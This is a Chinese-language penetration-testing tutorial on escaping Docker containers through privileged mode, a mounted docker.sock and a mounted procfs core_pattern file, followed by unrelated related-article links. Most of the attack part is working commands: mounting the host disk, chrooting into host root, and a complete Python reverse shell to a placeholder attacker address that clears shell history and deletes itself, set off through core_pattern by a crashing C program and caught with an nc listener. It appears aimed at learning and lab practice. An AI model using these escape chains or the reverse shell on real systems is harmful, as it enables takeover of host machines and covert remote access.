云安全-云原生技术架构(Docker逃逸技术-特权与危险挂载)

0x00 云原生技术-docker

docker容器和虚拟机的对比:前者是将运行环境打包,封装一个环境。后者是将整个系统打包,封装一个系统。在操作使用上来说各有利弊。

0x01 docker容器的三种逃逸类型

  1. 特权模式启动(不安全的启动方式)
  2. 危险挂载启动(危险配置启动)
  3. docker自身漏洞
  4. 主机系统漏洞

0x02 容器环境对比主机环境的渗透区别

当你获取到了一个shell,如果对方是以容器环境搭建起来的,那么你便是获取了容器环境的shell权限,下面通过拉取一个容器环境获取shell后,观察其与宿主机的区别:

观察到获取到docker搭建的容器shell与真实主机是有区别的,也就是我们存在于docker环境的shell中,不管在内容如何去操作,都只是在容器环境中,这个时候就需要突破容器环境,搭建容器逃逸,控制对方真实主机。

0x03 如何识别自己在对方的docker环境中?

拿到shell后需要判断是否是处于docker环境中,上面图片我用了很简单的一个方法,查看ls -al下的根目录,看是否存在dockerenv文件,如果存在,则大概率为docker环境,下面还有其他的一些方法,在实战可以多个结合参考

1.ls -al / 查看是否存在dockerenv

2.检查/proc/1/cgroup内是否包含"docker"等字符串,或者像下面一样(左边是docker,右边是主机)

暂时列举上面的几种方法,网上此类的文章也有很多,大家可以随时随地的去翻阅

0x04 特权模式下的docker逃逸(危险启动)

docker的启动中,有选项为以特权模式启动,如果使用该特权启动就有会特权逃逸的危险参数为(--privileged=true )

下面以这种模式启动一个docker环境

我们启动一个docker环境,进入后直接获取到shell,首先判断是否为docker环境,查看是否存在dockerenv文件如下

创建环境:docker run --rm --privileged=true -it alpine

cat /proc/self/status | grep CapEff

判断是否为特权模式,下面是左边的真实主机与docker环境输出的结果对比

fdisk -l的区别

通过fdisk的路径,创建逃逸的目录

复制代码
fdisk -l
mkdir /test3 && mount /dev/sda1 /test3
cat  /test3/ect/passwd

能看到主机的passwd即为逃逸成功

0x05 危险挂载逃逸-socket(守护进程等)逃逸

socket是干嘛的?

它是 Docker守护进程 (Docker daemon) 默认监听的 Unix域套接字 (Unix domain socket) ,容器中的进程可以通过它与Docker守护进程进行通信。

复制代码
docker run -itd --name with_docker_sock -v /var/run/docker.sock:/var/run/docker.sock ubuntu
docker run -d -p 82:80 ba6acccedd29
docker exec -it with_docker_sock /bin/bash

判断环境是否为docker

挂载逃逸,并且在docker中创建新的容器环境(将docker的shell中继续安装一个docker),将主机环境挂载到里面,实现逃逸

复制代码
apt-get update
apt-get install curl
curl -fsSL https://get.docker.com/ | sh
在容器内部创建一个新的容器,并将宿主机目录挂载到新的容器内部
docker run -it -v /:/host ubuntu /bin/bash
chroot /host

逃逸成功

0x06 危险挂载逃逸-procfs(伪文件系统)逃逸

procfs是干嘛的?

procfs是一个伪文件系统,它动态反映着系统内进程及其他组件的状态,其中有许多十分敏感重要的文件。因此,将宿主机的procfs挂载到不受控的容器中也是十分危险的,尤其是在该容器内默认启用root权限,且没有开启UserNamespace时。

以procfs启动docker环境

docker run -it -v /proc/sys/kernel/core_pattern:/host/proc/sys/kernel/core_pattern ubuntu

检测环境:find / -name core_pattern

查找路径:(workdir) cat /proc/mounts | grep docker

写入文件:

复制代码
cat >/tmp/.x.py << EOF
#!/usr/bin/python
import os
import pty
import socket
lhost = "xx.xx.xx.xx"
lport = xxxx
def main():
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((lhost, lport))
    os.dup2(s.fileno(), 0)
    os.dup2(s.fileno(), 1)
    os.dup2(s.fileno(), 2)
    os.putenv("HISTFILE", '/dev/null')
    pty.spawn("/bin/bash")
    os.remove('/tmp/.x.py')
    s.close()
if __name__ == "__main__":
    main()
EOF

chmod +x /tmp/.x.py

echo -e "|/var/lib/docker/overlay2/4aac278b06d86b0d7b6efa4640368820c8c16f1da8662997ec1845f3cc69ccee/merged/tmp/.x.py \rcore           " > /host/sys/kernel/core_pattern

cat >/tmp/x.c << EOF
#include <stdio.h>
int main(void)
{
    int *a = NULL;
    *a = 1;
    return 0;
}
EOF

gcc x.c -o x

执行文件:

./x

nc -lvvp xxxx

安装gcc:apt-get update -y && apt-get install gcc -y

通过检测环境:find / -name core_pattern得到路径加载到下面中:

复制代码
echo -e "|/var/lib/docker/overlay2/4aac278b06d86b0d7b6efa4640368820c8c16f1da8662997ec1845f3cc69ccee/merged/tmp/.x.py \rcore           " > /host/sys/kernel/core_pattern

vps监听反弹即可

云安全渗透参考:https://wiki.teamssix.com/CloudNative/

0x07 关于逃逸的失败需要注重的点

在线创建docker的st2靶场和dvwa靶场,都使用特权模式开启,可以发现通过dvwa无法逃逸成功,

这里需要注意,逃逸的前提也会受web的初始启动权限来决定,也就是说如果环境进去它本身就是地权限,类似于windows的普通data权限这种,无法逃逸,st2和shiro这种java一般来说启动程序都是以高权限启动,php等都是普通的权限启动会导致逃逸失败。

复制代码
1、高权限-Web入口到Docker逃逸(Java)
docker run --rm --privileged=true -it -p 8888:8080 vulfocus/shiro-721
2、低权限-Web入口到Docker逃逸(PHP)
docker run --rm --privileged=true -it -p 8080:80 sagikazarmark/dvwa

-特权模式启动导致(不安全启动 适用于java jsp高权限无需提权 还要提权才能逃逸)

-危险挂载启动导致(危险启动 适用于java jsp高权限无需提权 还要提权才能逃逸)

相关推荐
Serverless社区12 小时前
函数计算的云上计费演进:从请求驱动到价值驱动,助力企业走向 AI 时代
阿里云·云原生·serverless
稻草人222213 小时前
java Excel 导出 ,如何实现八倍效率优化,以及代码分层,方法封装
后端·架构
数据智能老司机14 小时前
精通 Python 设计模式——创建型设计模式
python·设计模式·架构
数据智能老司机15 小时前
精通 Python 设计模式——SOLID 原则
python·设计模式·架构
bobz96518 小时前
k8s svc 实现的技术演化:iptables --> ipvs --> cilium
架构
云舟吖18 小时前
基于 electron-vite 实现一个 RPA 网页自动化工具
前端·架构
brzhang20 小时前
当AI接管80%的执行,你“不可替代”的价值,藏在这20%里
前端·后端·架构
Lei活在当下1 天前
【业务场景架构实战】4. 支付状态分层流转的设计和实现
架构·android jetpack·响应式设计
架构师沉默1 天前
设计多租户 SaaS 系统,如何做到数据隔离 & 资源配额?
java·后端·架构
阿里云云原生2 天前
【云栖大会】AI原生、AI可观测、AI Serverless、AI中间件,4场论坛20+议题公布!
云原生